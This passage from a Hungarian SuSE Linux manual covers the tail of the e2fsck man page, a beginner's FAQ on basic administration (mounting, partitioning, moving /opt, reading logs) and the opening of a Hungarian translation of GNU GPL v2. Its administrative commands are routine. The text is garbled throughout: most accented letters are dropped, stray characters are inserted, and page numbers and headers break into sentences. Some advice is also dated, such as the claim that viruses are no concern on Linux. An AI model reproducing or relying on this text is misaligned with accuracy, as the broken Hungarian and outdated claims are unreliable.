Ezzel az opcival bjtfelcserls, azaz a normalizlt, szabvnyos bjtsorrend (ez i386, vagy little endian) hasznlata rhet el. Amennyiben a fjlrendszer mr szabvnyos bjtsorrendet hasznl, az opcinak nincs hatsa. Ez az opci bjtcsert hajt vgre, a fjlrendszer aktulis bjtsorrendjtl fggetlenl. Az e2fsck futsi idadatait megjelenti. Ha az opcit ktszer hasznljuk, akkor az egyes menetekrl kln statisztikt ad. Bbeszd md. Megjelenti a program verziinformciit. valamennyi krdsre igen vlaszt adva lehetv teszi az e2fsck nem-interaktv futtatst (Lsd a -n opcit is.)

-S

-t

-v -V -y

538

E. Az e2fsck kziknyvlapja
KILPSI KD Az e2fsck visszatrsi alapjn ll ssze: 0 1 2 rtke a kvetkez felttelek

4 8 16 128 SZIGNLOK

- Nem volt hiba. - Fjlrendszer hibi javtva. - Fjlrendszer hibi javtva, a rendszer jraindtsa szksges, ha a fjlrendszer csatolva volt. - A fjlrendszer hibi nem lettek javtva. - Mkdsi hiba. - Hibs hasznlat, szintaktikai hiba. - Osztott knyvtr hiba.

Az e2fsck futsra a kvetkez szignlok vannak hatssal: SIGUSR1 A szignl hatsra az e2fsck megjelenti a sttuszsvot. (Lsd a -C opcit.) SIGUSR2 A szignl hatsra a e2fsck lenti meg a sttuszsvot. HIBABEJELENTS Gyakorlatilag valamennyi program tartalmaz hibt. Amennyiben olyan ext2 fjlrendszerrel tallkozik, amelyen az e2fsck hibsan, vagy sehogyan sem fut le, illetve amelyet az e2fsck nem tud helyrelltani, jelezze azt a szerznek. Krjk csatoljon a hibajelentshez annyi informcit, amennyit csak lehetsges. A legjobb, ha az e2fsck futtatsa sorn kapott kimenetet teljes egszben el tudja kldeni. Amennyiben van rhat fjlrendszere, ahol a kimenetet le tudja trolni, abban az esetben a script(1) program hasznos a kimenet fjlba trtn lementshez. Hasznos tovbb a dumpe2fs(8) kimenete is. Ha valamely inode, illetve inode-ok miatt keletkezik a hiba, meg lehet ksrelni a debugfs(8) program futtatst. A hibt okoz inode-okra a stat(1u) parancsot futtatva annak kimenete is hasznos lehet. Ha az inode-hoz knyvtr tartozik, a debugfs dump parancs alkalmas a knyvtr inode tartalmnak kinyersre, mely a uuencode(1) hasznlata utn szintn csatolhat a hibajelentshez. A hibajelentsnek mindig tartalmaznia kell az e2fsck teljes verziszmt (lsd -V opci). SZERZ Az e2fsck ezt a verzijt Theodore Tso <tytso@mit.edu> rta. LSD MG mke2fs(8), tune2fs(8), dumpe2fs(8), debugfs(8) MAGYAR FORDTS Zelena Endre <ezelena@lme.linux.hu> a tovbbiakban nem je-

539

E. Az e2fsck kziknyvlapja

540

F. fggelk

SuSE Linux-GYIK
Fordtotta: Kiss Kroly Ebben a fejezetben vlaszokat adunk a leggyakrabban ismtelt krdsekre (GYIK Gyakran Ismtelt Krdsek). Br szinte az sszes krdsre tallhat vlasz a kziknyvben, nehz azt megtallni klnsen azoknak, akik nem jratosak a Linux-ban. Emiatt a legtbb krdsnl hivatkozs tallhat a kziknyv adott tmhoz kapcsold fejezetre. Rgebbi SuSE Linux-om van Hogyan frissthetek a 7.1verzira? A frissts kzvetlen mdjt a 15 . fejezetben (419. oldal) talljuk meg. Melyik a legfontosabb fejezet a kziknyvben? Kezd knek minden bizonnyal a 19 . fejezetben (493. oldal) tallhatak a lego fontosabb informcik, br az nem egy "igazi Linux knyv". Linux knyvek j vlogatsa tallhat a http://linux.oreilly.com internet cmen. Telepts utn mindig a kvetkez zenetet kapom: "login:" o Mit csinlok rosszul? Nem csinlt semmit rosszul, a telepts befejez dtt. Mostmr bejelentkezhet o a szmtgpre felhasznli nevvel s jelszavval; els indulskor mg csak o a root ltezik. Lsd mg a kziknyv 19.1 . fejezetben (493. oldal) s 3.6.7 . fejezetben (112. oldal). Bejelentkeztem, de csak annyit ltok a kperny n, hogy o "meggyfa: # " Hogyan jutok be magba a Linux-ba? Mr "bent" van a "Linux"-ban! Valszn , hogy a Grakus Felhasznli u Felletet (GUI) szeretn elindtani. Ezt el szr kongurlni kell (pldul o a SaX segtsgvel). Ezutn mr el tudja indtani a Grakus felletet (X Window System) a startx parancs segtsgvel. Rszleteket lsd a 8 . fejezetben (237. oldal). 541

F. SuSE Linux-GYIK A szmtgpemet csak n hasznlom Mirt kell mgis mindig bejelentkeznem? A Linux egy tbbfelhasznls rendszer. Azrt, hogy a Linux tudja, ki dolgozik rajta, meg kell adni egy felhasznli nevet s egy jelszt. Esetleg root-knt kell bejelentkezni, ha vltoztatni akar a rendszerben (telepteni s kongurlni programokat, stb). Mindennapi tevkenysghez kszteni kell egy tlagos felhasznlt. gy nem tud krt tenni magban a rendszerben sem. A KDE2 legjabb verzija (2.0.x) lehet v teszi hogy egy felhasznl nevo ben azonnal bejelentkezznk. Ez azonban egy lyuk a biztonsgi rendszerben, nagyon vatosan alkalmazzuk! Kell sajt kernel-t fordtanom? Nem, egyltaln nem! A kernel jelenleg olyan nagy, hogy csaknem 800 belltsi krdsben kell dnteni! Szinte lehetetlen minden belltst nyomon kvetni, ezrt gyakorlatlan felhasznlknak nem ajnljuk a kernel jrafordtst. Ha mgis szeretn, akkor ezt csak sajt felel ssgre teheti meg, a teleptsi tmogats ugyanis nem o vonatkozik erre az esetre! Akkor sem kell kernelt fordtanom, ha szeretnk hang tmogatst? Nem, a 2.2.x kernel verzik ta nem kell. Rszletek a 10.3 . fejezetben (314. oldal) tallhatk. Hol tallok tovbbi informcikat a SuSE Linux-rl? Ha teleptsr l vagy SuSE Linux specikus dolgokrl van sz, akkor els do o leges forrs a kziknyv. A programok dokumentcija a /usr/doc/packages knyvtrban tallhat. A "Howto"-k ("HOGYAN"ok) nmetl a /usr/doc/howto/de, angolul a /usr/doc/howto/en knyvtrban tallhatk. Ezek pldul a less parancs segtsgvel olvashatk: less /usr/doc/howto/en/DOS-to-Linux-HOWTO.txt.gz KDE alatt ezeket a fjlokat (br tmrtettek) a kedit parancs segtsgvel olvashatja. Hol kaphatok specilis tippeket vagy segtsget? Az Interneten a http://www.suse.de/sdb/en/html/index.html cmen tallhatja meg tmogatsi adatbzisunkat angolul. Ennl jval rszletesebb a nmet vltozat a http://www.suse.de/sdb/de/html/index.html cmen. Megadhat egy keressi kifejezst, vagy vgignzheti az SDB "History" linkjt. 542

F. SuSE Linux-GYIK Hogy tudok parancsokat kiadni a KDE alatt? Kattintson a K-ra, a Tools (Rendszer)-re majd a Terminal (Terminl)-ra. Alternatv megoldsknt nyomhat s berAlt + F2 -t hatja azt, hogy xterm. Ekkor kapni fog egy "terminl" ablakot (amit sokan hibsan DOS ablaknak neveznek), ahov berhatk a kvnt parancsok. Sok programot nem tallok meg KDE alatt. Minden program indthat terminl ablakbl (xterm, lsd el z krds), gy o o hogy berja a program nevt s utna t. -t Nem tudok telnet-tel bejelentkezni a szmtgpre. Mindig "Login incorrect" vlaszt kapok. Valszn leg root felhasznlknt prblt belpni. Biztonsgi okokbl u ez nem lehetsges telnet-en keresztl. A YaST segtsgvel kszthet egy norml felhasznlt (lsd a 3.6.7 . fejezetben (112. oldal)), mellyel mr be tud jelentkezni. Ezutn a su paranccsal tud a root felhasznlra vltani. Sokkal jobb s biztonsgosabb a telnet helyett az ssh programot hasznlni. Az ssh program kdolt, ezltal biztonsgosabb kapcsolatokat hasznl. Ezt a programot a sec kszletben tallhatja. Hogy tudok Internetezni Linux alatt? Err l informcit a kziknyv 6 . fejezetben (173. oldal) tallhat. o Kell-e vrusok miatt idegeskednem Linux alatt? Nem. Linux alatt nem beszlhetnk kritikus vrusokrl (lsd a 90 . fejezetben (480. oldal)). Vrusok nem okozhatnak semmilyen problmt a rendszernek, ha nem root-knt jelentkezett be. Csak olyan vruskeres k vannak Linuxo ra, amelyek Windows-os vrusok utn kutatnak levelelekben (ha a Linuxot router-knt hasznljuk). Hol nzhetem meg a rendszerzeneteket? Adja ki a kvetkez parancsot root-knt egy terminl ablakban: o
meggyfa: # tail -f /var/log/messages

Programok, amik mg hasznosak lehetnek: xosview. A rendszer induls kzbeni zenetei a


meggyfa: # dmesg

top, procinfo s az

vagy a:
meggyfa: # cat /var/log/boot.msg

parancsok segtsgvel nzhet ek meg. o 543

F. SuSE Linux-GYIK Merre tallom a StarOfce-t? A StarOfce-t az so_en nev csomagknt a pay kszletben tallhatja u meg. Hasznlja a YaST -ot a teleptshez, amely megmondja melyik CD-t kell hasznlni. Talltam egy hibt a SuSE Linux-ban. Hol tudom ezt jelenteni? El szr bizonyosodjon meg rla, hogy az valban egy programhiba s nem o csak egy m kdsi vagy kongurcis problma. u Olvassa el a /usr/doc/packages s a /usr/doc/howto knyvtrakban lv dokumentcit. o Lehetsges, hogy a hiba mr ismert. Err l informcit tmogatsi adatbzio sunkban a http://sdb.suse.de/sdb/en/html/index.html cmen tallhat. Tltse ki a keres form-ot, vagy nzze vgig az SDB "History" linkjt, hogy o lssa a problmt feljegyeztk-e mr. Ha gy ltja, hogy mg nincs dokumentlva, kldjn E-Mailben egy lerst a hibrl a feedback@suse.de cmre. Krjk, egyben kzlje regisztrcis kdjt is. Hogyan rhetem el a CD-n lv adatokat? o El szr be kell csatolni a CD-t (beilleszteni a fjlrendszerbe). Ezt a o mount /cdrom parancs segtsgvel teheti meg. Rszletesebben lsd a 19.11.2 . fejezetben (511. oldal). Nem tudom kivenni a CD-t a meghajtbl Mit csinljak? El szr le kell csatolni a CD-t (eltvoltani a fjlrendszerb l). Ezt az o o umount /cdrom parancs segtsgvel teheti meg. Rszletesebben lsd a 19.11.2 . fejezetben (511. oldal). Hogyan nzhetem meg, hogy mennyi hely van mg a Linux-omon? A df -h parancs segtsgvel, s nzze mg meg a 19 . fejezetben (493. oldal) olvashat informcikat is. Tudok az egrrel msolni ("cut-and-paste") Linux alatt? Igen. Ha szveges zemmdban is szeretne msolni, akkor a gpm nev programnak u futnia kell. A msols mdja szveges zemmdban s X Window System alatt ugyanaz: a bal egrgomb megnyomsval jellhet ki a szveg s a o kzps gomb segtsgvel lehet thzni s beilleszteni. A jobb egrgombnak o a legtbb programban specilis szerepe van. Hogyan tudok programokat telepteni? A SuSE Linux CD-in tallhat programokat legjobb, ha a YaST segtsgvel telepti. A nagyobb programok jelent s rsze a pay kszletbe tartozik. o 544

F. SuSE Linux-GYIK "Csak" a program forrskdja van meg Hogyan telepthetem? A legtbb programhoz szksges egy bizonyos fok szakrtelem. Ezt leginkbb egy j Linux knyvben tallhatja meg. Nzzen szt pl. a http://linux.oreilly.com cmen. Rviden: csomagolja ki a forrskdot (tar xvzf name.tar.gz), olvassa el s kvesse a README-ben vagy az INSTALL llomnyban tallhat utastsokat. ltalban a kvetkez ket kell csinlni: o ./configure ; make ; make install. A csomagok karbantartsrl sokkal rszletesebben olvashatunk a kziknyv 15.3 . fejezetben (430. oldal). Ne felejtsk el, hogy sajt fordts kernelekhez nem jr teleptsi tmogats! Szksgem van egy tuzfalra, masquerading-ra, levl- s webkiszolglra. Kaphatok ezekhez is teleptsi tmogatst? Nem. A teleptsi tmogats csak arra vonatkozik, hogy a Linux elinduljon s fusson. A teleptsi tmogatson tlmutat tmkhoz nagyon j knyvek llnak rendelkezsre, illetve nagyon j a /usr/doc/packages knytrban tallhat dokumentci s a /usr/doc/howto/en/NET3-HOWTO.txt.gz is. Tmogatja a hardveremet a SuSE Linux? A legjobb az lenne, ha megnzn a http://cdb.suse.de/cdb_english.html oldalt. A less /usr/doc/howto/en/Hardware-HOWTO.gz paranccsal is kaphat kiegszt informcikat err l. o o Hogyan tudom tredezettsgmentesteni a httrtrolmat? A Linux-nak elgg intelligens fjlrendszere van. A tredezettsg-mentests felesleges ezen a rendszeren, mert rendkvl kismrtk a tredezs. Csak u arra kell gyelni, hogy a partcik ne lpjk tl a 90%-os teltettsget (df -h). Olvastam valamit a partcionlsrl - Mi az? A partcionls a merevlemez egyedi rszekre val felosztst jelenti. Azt tancsoljuk, hogy a SuSE Linux-ot legalbb hrom partcival hasznlja (egy a boot fjloknak, egy a Linux-nak, s egy a swap (lapoz) partcinak). o Err l a 19 . fejezetben (493. oldal) olvashatunk b vebben. o 545

F. SuSE Linux-GYIK Le kell trlnm a Windows-t ahhoz, hogy Linux-ot hasznlhassak? Nem. De a Linux-nak szksge van szabad helyre a httrtroln. Tredezettsgmentestse a Windows-os partcit (defrag), majd hasznlja az els SuSE o Linux CD-n tallhat fips nev programot a u \dosutils\fips\fips20 knyvtrbl. Ezzel a programmal tmretezheti a Windows partcit, hogy tbb hely legyen a Linux-nak. De el bb mentse el az adatait! o A telepts lersa a 2.2 . fejezetben (30. oldal) tallhat. Mennyi helyre van szksge a Linux-nak? 380 MB-al mr lehet valamit kezdeni, de inkbb 1 GB-ot ajnlunk. Ha mindent telepteni szeretnnk, akkor tbb mint 4 GB helyre lesz szksgnk. Tbb helyre van szksgem a Linuxhoz Hogyan egyesthetek meghajtkat? Egy Linux-rendszerben brmikor egyesthet merevlemezeket vagy szabad partcikat azrt, hogy tbb szabad hely lljon rendelkezsre. Ha tbb helyre van szksg pldul a /opt-ban, "mount"-olni tud egy kiegszt merevleo mezt. A megfelel eljrs a kvetkez : o o 1. Csatlakoztassa a merevlemezt s indtsa el a Linux-ot. 2. Jelentkezzen be root-knt. 3. Hasznlja az fdisk-et, az j merevlemez partcionlshoz, pl. /dev/hdb1 4. Formattlja meg az j partcit mke2fs /dev/hdb1 5. Adja ki a kvetkez parancsokat: o
meggyfa: # cd /opt meggyfa:/opt # mkdir /opt2 meggyfa:/opt # mount /dev/hdb1 /opt2 meggyfa:/opt # tar cSpf - . | (cd /opt2 ; tar xvSpf -)

Ekzben kaphat "broken pipe" hibazenetet, de ez itt termszetes. Ellen rizze le, hogy valban az sszes fjl msolsa megtrtnt-e? Ezo utn a "rgi knyvtr" trlhet , s hozzon ltre egy j, res mount o pontot:
meggyfa:/opt # mv /opt /opt.old meggyfa:/opt # mkdir /opt Ezutn egy szvegszerkeszt vel kszteni kell egy bejegyzst az j paro

tcinak a /etc/fstab llomnyban. Egy lehetsges megoldst bemutatunk az F.0.1 fjllistban. Ezutn indtsa jra a szmtgpet. 6. Amikor a szmtgp jraindult, gy z djn meg a mount paranccsal, o o hogy a /dev/hdb1 valban bekerlt-e a /opt knyvtrba. Ha minden gy m kdik ahogy kell, akkor trlhet ek a rgi fjlok a /opt.old u o knyvtrbl: 546

F. SuSE Linux-GYIK

/dev/hda3 /dev/hda2 /dev/hda1 /dev/hdb1

/ swap /boot /opt

ext2 swap ext2 ext2

defaults defaults defaults defaults

1 0 1 1

1 0 2 2

F.0.1 fjllista: kivonat a /etc/fstab-bl: hozzadott partcik

meggyfa: # cd / meggyfa:/ # rm -fr opt.old

Tvedsb l kernelt fordtottam. o Hogyan szerezhetem vissza az eredeti SuSE kernel-t? Vgezze el a kziknyv 3.6.2 . fejezetben (105. oldal) lertakat. Szeretnm letrlni a Linux-ot. Hogyan tehetem meg? Trlje le a Linux partcikat az fdisk parancs segtsgvel, ezt lehet, hogy Linux all kell megcsinlni (a Linux fdisk parancsval). Ezutn indtsa jra a gpet egy DOS-os lemezr l s futtassa az fdisk /mbr parancsot o DOS vagy Windows all. A YaST Hlzati alapkonfigurls pontja nem vlaszthat ki. A telepts sorn azt adta meg, hogy a szmtgpt "DHCP kliens"-knt szeretn futtatni. Ebben az esetben a hlzati belltsokat a DHCP szerver vgzi el. Ha nem akarja ezt (ez a z ltalnos eset), indtsa el a YaST -ot s a A konfigurcis fjl mdostsa / DHCLIENT menpontban vlasszon No-t. Ezutn a Hlzati alapkonfigurls menpont mr kivlaszthat lesz. A szmtgp lthatan nem reagl semmire. Gond nlkl megnyomhatom a Reset gombot? Ha a szmtgp nem reagl az egrre vagy a billenty re, mg nem szksgu szer en azt jelenti, hogy az egsz szmtgp sszeomlott. Okozhatja az is, u hogy egyetlen program blokkolja az egeret s a billenty zetet, s az sszes u tbbi program normlisan fut tovbb. Ha a szmtgp hozzafrhet kvlo r l (soros terminl, hlzat), be tud jelentkezni s bezrhat a hibt okoz o program a killall programnv paranccsal. Ha nincs erre lehet sg, o megprblhat egy msik konzolra vltani a Ctrl + Alt + F2 hasznlatval, s bezrni a megakadt folyamatot. Ha a gp nem reagl semmilyen billenty re, vrjon amg legalbb 10 msodpercig nincs merevlemez aktiviu ts, majd nyomja meg a reset gombot. 547

F. SuSE Linux-GYIK Mirt lszik gy, hogy a Linux felemszti az sszes RAM-omat? Nzzk meg alaposan a free -t parancs eredmnyt:
total Mem: 127800 -/+ buffers/cache: Swap: 136544 Total: 264344 used 94312 25884 832 95144 free 33488 101916 135712 169200 shared 11196 buffers 22324 cached 46104

gy ltszik mintha csak 33.488 kB memria lenne felhasznlhat (Mem/free). Ez azonban csak a "nem hasznlt" memria. A programok nem a RAM egszt hasznljk, hanem egy merevlemez cache-t is, ebben az esetben 46.104 kB-ot (Mem/cached). A shared hasznlat memrit szmos knyvtr s program kzsen hasznlja (itt 11.196 kB). A szabad memria az az rtk, melyet a -/+ buffers/cache s a free mutatnak, itt 10.1916 kB. Azonban megkzelt leg mg 165 MB virtulis o memria hasznlhat fel. Mi az a "Tkr"? Mirt nem csak az ftp.suse.com -rl lehet letlteni dolgokat? Mert ha sok felhasznl tlt le a szerverr l egyid ben, az hamarosan tltero o hel dne. Ezrt van tbb ftp szerver, amelyek a SuSE szerver "tkrkpt" o tartalmazzk. Az ilyen szervereket hvjk "Tkr szerver"-nek. A zikai elhelyezkedshez (pl. az orszgban) legkzelebb lv szervert kellene vo lasztania, ezzel is el segtve a gyorsabb letltst. o A tkr-szerverek listja elrhet pldul a o http://www.suse.de/en/support/download/ftp/index.html cmen. Mifle knyvrak a /var, /etc, /bin, s a tbbi? A Linuxnak mint minden Unix vltozatnak van egy knyvtr-szerkezete, mely bizonyos szempontbl egyforma minden rendszeren. Ezeket a knyvtrakat nem szabad trlni, vagy thelyezni. Felhasznlknt csak a home knyvtrban szabad dolgozni. Tovbbi informci a rendszerknyvtrakrl a C . fejezetben (529. oldal) tallhat. Hogyan tudok fjlokat megnzni, szerkeszteni, mozgatni, msolni vagy trlni? Mindezekre hasznlhatja a norml Linux "parancsrtelmez eszkzket", o amik a 19 . fejezetben (493. oldal) le vannak rva, vagy hasznlhatja az mc programot (egy jl ismert DOS/Windows program klnja) szveges kon zolban. Munkaasztalon (X Window mdban) nyisson egy terminlt ( Alt + F2 , majd xterm) s rja be: mc. Hogyan tudom elolvasni a DOS fjljaimat? Olvassa el a 19 . fejezetben (493. oldal) lertakat. 548

F. SuSE Linux-GYIK Nem talltam .exe fjlokat. Hol vannak a programok? Linux-ban a vgrehajthat fjloknak rendszerint nincs kiterjesztse. A legtbb program a /usr/bin s a /X11R6/bin knyvtrakban tallhat. Hogyan ismerhetem fel a futtathat fjlokat? Pldu az ls -l /usr/bin paranccsal az sszes olyan fjl a /usr/bin knyvtrban, mely futtathat, piros sznnel jelenik meg. Ezek mg felismerhet k a jogosultsg listban az "x"-r l is (a sor bal oldaln): o o
-rwxr-xr-x 1 root root 64412 Jul 23 15:23 /usr/bin/ftp

A KDE fjlkezel ben (kfm) a futtathat fjlokat egy fogaskerk szimblum o jelzi.

549

F. SuSE Linux-GYIK

550

G. fggelk

A GNU GPL
A GNU GPL - Az ltalnos kzreadsi felttelek dokumentuma 2. verzi, 1991. jnius Copyright (C) 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave, Cambridge, MA 02139, USA Brki terjesztheti, msolhatja a dokumentumot, de mdostsa nem megengedett. A fordts csak tjkoztat jelleg s jogi szempontbl csakis az angol u eredeti a mrvad. El sz o A legtbb program felhasznli jogosultsgai azzal a szndkkal kszltek, hogy minl kevesebb lehet sget adjanak a terjesztshez illetve a szoftver o megvltoztatshoz. A GNU GPL ezzel szemben minl tbb jogot kvn biztostani a szabad szoftverek terjesztshez s mdostshoz, hogy a szoftver ingyenes lehessen az sszes felhasznlja szmra. Az ltalnos Kzreadsi Felttelek szablyai vonatkoznak a Szabad Szoftver Alaptvny legtbb szoftverre, illetve minden olyan programra, melynek szerz je gy dnt, hogy ezt o hasznlja a szerz i jog megjellsekor. (A szabad szoftver alaptvny egyes o szoftvereire a GNU LGPL vonatkozik - Library GPL.) Brki hasznlhatja a programjaiban a GPL-t a szerz i jogi megjegyzsnl. o A szabad szoftver megjells nem jelenti azt, hogy a szoftvernek nem lehet ra. A GPL dokumentumok gy kszltek, hogy biztostsk a szabad szoftverek terjeszthet sgt (pnzrt ha gy tetszik), illetve a forrskd hozzfro het sget, hogy brki szabadon mdosthassa azt, ha akarja mindenkppen o tudjon err l a lehet sgr l. o o o A szerz jogainak vdelmben korltozsokat kell hozni, melyek megtiltjk, o hogy brki megtagadja e jogokat msoktl, vagy ezekr l val lemondsra o knyszertene valakit. Ezek a korltozsok bizonyos ktelezettsgeket jelentenek azok szmra akik a terjesztik vagy mdostjk a szoftvert. Ha valaki ilyen programot terjeszt, akr ingyen akr egy bizonyos sszeg fejben, a szoftverre vonatkoz minden jogt tovbb kell adnia az gyfeleinek. Biztostani kell tovbb, hogy mindenki megkapja, vagy lehet sge legyen o hozzjutni a forrskdhoz. Ezenkvl el kell juttatni az ezen szablyokat tartalmaz dokumentumot is, hogy mindenki rteslhessen a jogairl. A jogvdelem kt eszkze: (1) a szoftver szerz i jogainak biztostsa (2) o ezen szablyok alapjn jogok biztostsa a msolshoz, terjesztshez s/vagy a szoftver mdostshoz. 551

G. A GNU GPL Az egyes szerz k s a magunk vdelmben biztostani akarjuk, hogy mino denki megrtse: nincs garancia az ilyen szoftverekre. Ha a szoftvert msok mdostottk s tovbbterjesztettk, mindenkinek, aki a mdostott vltozatot kapja, tudnia kell, hogy az nem eredeti. gy a msok ltal okozott hibknak nem lehet semmifle hatsa az eredeti szerz hrnevre. o Vgl, mivel a szabad szoftver ltt fenyegetik a szoftverszabadalmak, el szeretnnk kerlni annak veszlyt, hogy a szabad szoftver terjeszt i szabadalo mat jegyezhessenek be a szoftverre, gy tulajdonukk tve azt. Ennek megel zshez tisztzni kvnjuk: szabadalom szabad szoftverrel kapcsolatban o csak mindenki ltal szabad hasznlatra jegyezhet be, vagy egyltaln nem o jegyezhet be. o A pontos szablyok s a msolsra, terjesztsre, mdostsra vonatkoz felttelek kvetkeznek. GNU GPL A msolsra, terjesztsre s mdostsra vonatkoz felttelek s szablyok 0. Ezek a jogok vonatkoznak brmely olyan programra vagy munkra, melynek a szerz i jogi megjegyzsben a jog tulajdonosa a kvetkez szo o veget helyezte el: Terjeszthet a GNU GPL-ben foglaltak alapjn. A o kvetkez kben a "Program" megjells vonatkozik brmely programra, o vagy munkra, a "Programon alapul munka" pedig magt a Programot, vagy a Programot felhasznl szerz i joggal vdett munkt jelenti, vagyis o olyan munkt, mely tartalmazza a Programot, vagy annak egy rszlett, mdostottan vagy mdostatlanul s/vagy ms nyelvre fordtva. (Ezentl a fordts minden egyb megkts nlkl beletartozik a "mdosts" fogalmba.) A msolson, terjesztsen s mdostson kvl ms tevkenysggel nem foglalkozik ez a dokumentum, azokat hatlyon kvlinek tekinti. A Program futtatsa nincs korltozva, illetve a Program kimenetre is csak abban az esetben vonatkozik ez a szablyozs, ha az tartalmazza a Programon alapul munka egy rszlett (attl fggetlenl, hogy ez a Program futtatsval jtt-e ltre). Ez teht a Program m kdst l fgg. u o 1. A Program forrskdja msolhat s terjeszthet mdosts nlkl bro mely adathordozn, feltve, hogy minden egyes pldnyon pontosan szerepel a megfelel szerz i jogi megjegyzs, illetve a garanciavllals elutao o stsa. rintetlenl kell hagyni minden erre a szablyozsra s a garancia teljes hinyra utal szveget, s ezt a dokumentumot is el kell juttatni mindazokhoz akik a Programot kapjk. Krhet pnz az adatok zikai tovbbtsa fejben, illetve djazs fejben o lehet garancis tmogatst adni a Programhoz. 2. A Program, vagy egy darabja mdosthat, mely gy az egy a Programon alapul munkt alkot, a mdosts ezutn tovbb terjeszthet az 1. rszo ben adott felttelek szerint, ha az albbi felttelek is teljeslnek: a) A mdostott fjlokat el kell ltni olyan megjegyzssel, mely feltnteti a mdostst vgz nevt s a mdostsok dtumt. o b) Minden olyan munkt vagy programot, mely rszben vagy egszben tartalmazza a Programot vagy a Programon alapul, olyan szablyok552

G. A GNU GPL kal kell kiadni, hogy annak hasznlati joga harmadik szemly rszre ingyenesen hozzfrhet legyen, ezen dokumentumban tallhat szao blyok alapjn. c) Ha a mdostott Program interaktv bemenetet hasznl, akkor azt gy kell elkszteni, hogy a megszokott mdon trtn indtskor megjeo lentsen egy zenetet a megfelel szerz i jogi megjegyzssel s a gao o rancia hinyra utal kzlssel (vagy ppen azzal az informcival, hogy minknt juthat valaki garancihoz), illetve azzal az informcival, hogy brki terjesztheti a Programot eme felttelek alapjn. Ezenkvl utalst kell tenni r, hogy miknt olvashatja el a felhasznl ezt a dokumentumot. (Kivtel: ha a Program interaktv ugyan, de nem jelent meg hasonl zenetet, akkor a Programon alapul munknak sem kell ezt tennie.) Ezek a felttelek a mdostott munkra mint egszre vonatkoznak. Ha a munka egy azonosthat rszei nem a Programon alapulnak, fggetlenknt elklnlten azonosthatk, akkor ez a szablyozs nem vonatkozik ezekre a rszekre, ha azok kln munkaknt vannak terjesztve. Viszont, ha ugyanez a rsz az egsz rszeknt kerl terjesztsre, s az egsz a Programon alapul munka, akkor az egsz terjesztse csak ezen dokumentum alapjn lehetsges, mely ebben az esetben a jogokat minden egyes felhasznl szmra kiterjeszti az egszre tekintet nlkl arra, hogy mely rszt ki rta. Ezen szvegrsznek nem az a clja, hogy a msok jogait elvegye vagy korltozza a kizrlag sajt maga ltal rt munkkra. A cl, hogy a jogok gyakorlsa szablyozva legyen a Programon alapul illetve a gy jtemu nyes munkk terjesztse esetben is. Ezenkvl ms munkk, melyek nem a Programon alapulnak, a Programmal (vagy a Programon alapul munkval) kzs adathordozn vagy adattroln szereplse nem jelenti ezen szablyok rvnyessgt azokra is. 3. A program (vagy a programon alapul munka a 2. szakasz alapjn) msolhat s terjeszthet trgykd vagy vgrehajthat kd formjban az o 1. s 2. szakaszban foglaltak szerint, amennyiben az albbi felttelek is teljeslnek: a) A teljes, gp ltal rtelmezhet forrskd ksri az anyagot, melynek o terjesztse az 1. s 2. szakaszban foglaltak szerint trtnik, szoftverterjesztsre hasznlt hordozn; vagy b) Egy legalbb hrom vre szl rsos ajnlat ksri az anyagot, mely szerint brmely kls szemlynek rendelkezsre ll a teljes gp ltal o rtelmezhet forrskd, a zikai tovbbtst fedez sszegnl nem nao o gyobb djrt az 1. s 2. szakaszban foglaltak szerint szoftverterjesztsre hasznlt adathordozn; vagy c) Olyan tjkoztats ksri az anyagot, mely tartalmazza az rsos ajnlat szvegt a forrskd biztostsra. (Ez az alternatva csak nem kereskedelmi terjeszts esetn alkalmazhat, abban az esetben, ha a terjeszt a Programhoz a trgykd vagy forrskd formjban jutott o hozz az ajnlattal egytt a b. cikkelynek megfelel en.) o 553

G. A GNU GPL Egy munka forrskdja a munknak azt a formjt jelenti, melyben a mdostsokat szoks vgezni. Egy vgrehajthat program esetben a teljes forrskd jelenti a modulok forrskdjt, a kapcsold felletkezel o dencis fjlokat, s a fordtst vezrl parancsfjlokat. Egy specilis o kivtelknt a forrskdnak nem kell tartalmaznia az opercis rendszer f bb rszeit (kernel fordtprogram stb.), melyen a vgrehajthathat kd o fut, hacsak nem tartozik ehhez maga a program is. Ha a vgrehajthat program vagy trgykd terjesztse a forrskd hozzfrst egy megadott helyen biztost ajnlattal trtnik, ez az ajnlat egyenrtk a forrskd terjesztsvel, mg akkor is, ha msoknak gy u nem kell a forrst lemsolniuk a trgykddal egytt. A Programot csak az ebben a dokumentumban lertaknak megfelel en o lehet lemsolni, terjeszteni, mdostani, r jogokat bejegyezni. Az egyb mdon val msols, mdosts, terjeszts, jogok bejegyzse semmiss teszi a dokumentumban kzztett jogosultsgokat. Akik azonban jogaikat ennek a szerz i jogi szablyozsnak a keretei kztt kaptk, azok joga o mindaddig megmarad, amg teljesen megfelelnek a lertaknak. Nem kell elfogadni ezt a szablyozst, mivel alrni sem kell. Ezenkvl viszont semmi ms nem adhat jogokat a Program tovbbterjesztsre s mdostsra. Ezeket a cselekedeteket a Trvny bnteti, ha nem ennek a szerz i jogi szablyozsnak a keretei kztt trtnnek. Mindezek miatt a o Program (vagy a Programon alapul munka) terjesztse vagy mdostsa ezen dokumentum szablyainak elfogadst jelenti. Minden alkalommal, amikor a Program (vagy az azon alapul munka) tovbbadsa trtnik, a Program "vev je" automatikusan hozzjut a Progo ram eredeti tulajdonosnak szerz i jogait tartalmaz dokumentumhoz, o mely biztostja a Program msolst s terjesztst eme szablyok szerint. Nem lehet semmi mdon tovbbi korltozsokat hozni a "vev " szmra o ezen szablyok betartsa cljbl. Ms szavakkal: a Program tovbbadja nem felel s ms szemlyekkel betartatni ezeket a szablyokat. o Ha brsgi hatrozat vagy ms szabadalmi ktttsgek miatt olyan felttelek llnak el , melyek ellenttesek e szablyozssal, ezek nem mentik o fel a terjeszt t a felttelek gyelembevtele all. Ha a terjeszts nem leo hetsges ezen szablyozs szerint, akkor egyltaln nem lehetsges. Pldul, ha egy szabadalmi szerz ds nem engedi meg egy program tiszteo letdj nlkli terjesztst, akkor az egyetlen mdja, hogy eleget tegyen valaki mindkt szablyozsnak az, hogy elll a tovbbfejlesztett program terjesztst l. o Ha ennek a szakasznak brmely rsze nem rvnyesl, vagy nem rvnyesthet valamely krlmny folytn, akkor a szakaszt kell mrlegelni, o egyb esetekben a szakasz mint egsz alkalmazand. Ennek a szakasznak nem az a clja, hogy a szabadalmak vagy egyb hasonl jogok elutastsra brjon brkit is. Mindssze meg szeretn vdeni a szabad szoftver terjeszts rendszernek egysgt, melyet a szabad kzreadst szablyoz felttelrendszerek teremtenek meg. Sok ember nagylelk 